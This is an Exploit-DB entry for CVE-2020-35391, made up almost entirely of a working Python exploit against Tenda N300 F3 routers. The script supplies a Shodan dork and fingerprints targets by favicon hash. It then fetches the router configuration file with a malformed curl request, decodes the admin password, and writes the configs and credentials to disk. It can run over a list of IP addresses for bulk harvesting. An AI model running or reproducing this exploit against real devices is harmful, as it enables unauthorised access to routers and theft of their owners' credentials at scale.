Exploit-DB #51317
Description: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing
Type: remote
Platform: hardware
Date: 2023-04-07
Author: @h454nsec

Exploit:
#!/usr/bin/python3

# Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing 
# Shodan Dork: http.favicon.hash:[PII_REDACTED] http.title:"Tenda | LOGIN"
# Date: 09/03/2023
# Exploit Author: @h454nsec
# Github: https://github.com/H454NSec/CVE-2020-35391
# Vendor Homepage: https://www.tendacn.com/default.html
# Product Link: https://www.tendacn.com/product/f3.html
# Version: All
# Tested on: F3v3.0 Firmware (confirmed)
# CVE : CVE-2020-35391

import re
import os
import sys
import argparse
import base64
import requests
import subprocess
try:
    import mmh3
    import codecs
except ImportError:
    print("[!] Install mmh3: pip3 install mmh3")
    sys.exit()

Color_Off="\033[0m" 
Black="\033[0;30m"        # Black
Red="\033[0;31m"          # Red
Green="\033[0;32m"        # Green
Yellow="\033[0;33m"       # Yellow
Blue="\033[0;34m"         # Blue
Purple="\033[0;35m"       # Purple
Cyan="\033[0;36m"         # Cyan
White="\033[0;37m"        # White

def ip_checker(ip):
    if "/" in ip:
        splited = ip.split("/")
        if "http://" in ip or "https://" in ip:
            return f"{splited[0]}://{splited[2]}"
        else:
            return f"http://{splited[0]}"
    else:
        return f"http://{ip}"

def is_tenda(ip):
    try:
        response = requests.get(f'{ip}/favicon.ico')
        favicon = codecs.encode(response.content, "base64")
        favicon_hash = mmh3.hash(favicon)
        if favicon_hash == [PII_REDACTED]:
            return True
        return False
    except Exception as error:
        return False

def password_decoder(data):
    try:
        for nosense_data in data.split("\n"):
            if ("http_passwd=" in nosense_data):
                encoded_[CREDENTIAL_REDACTED]_data.split("=")[-1]
                break
        password_bytes = base64.b64decode(encoded_password)
        [CREDENTIAL_REDACTED]_bytes.decode("utf-8")
        if (len(password) != 0):
            return password
        return False
    except Exception as error:
        return False

def main(db):
    for ip in db:
        ip_address = ip_checker(ip)
        tenda = is_tenda(ip_address)
        header = print(f"{Green}[+]{Yellow} {ip_address}{Color_Off}", end="") if tenda else print(f"{Red}[-]{Yellow} {ip_address}{Color_Off}", end="")
        try:
            output = subprocess.check_output(f"curl {ip_address}/cgi-bin/DownloadCfg/RouterCfm.cfg -A '' -H 'Accept:' -H 'Host:' -s", shell=True)
            data = output.decode('utf-8')
            [CREDENTIAL_REDACTED]_decoder(data)
            if password:
                if not os.path.isdir("config_dump"):
                    os.mkdir("config_dump")
                with open(f"config_dump/{ip_address.split('/')[-1]}.cfg", "w") as o:
                    o.write(data)
                with open(f"credential.txt", "a") as o:
                    o.write(f"{ip_address}|{password}\n")
                print(f"{Purple}:{Cyan}{password}{Color_Off}")
            else:
                print()
        except Exception as error:
            print()

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--ip', default='192.168.0.1', help='IP address of the target router (Default: http://192.168.0.1)')
    parser.add_argument('-l', '--list_of_ip', help='List of IP address')
    args = parser.parse_args()
    db = []
    ip_list = args.list_of_ip
    if ip_list:
        with open(ip_list, "r") as fr:
            for data in fr.readlines():
                db.append(data.strip())
    else:
        db.append(args.ip)
    main(db)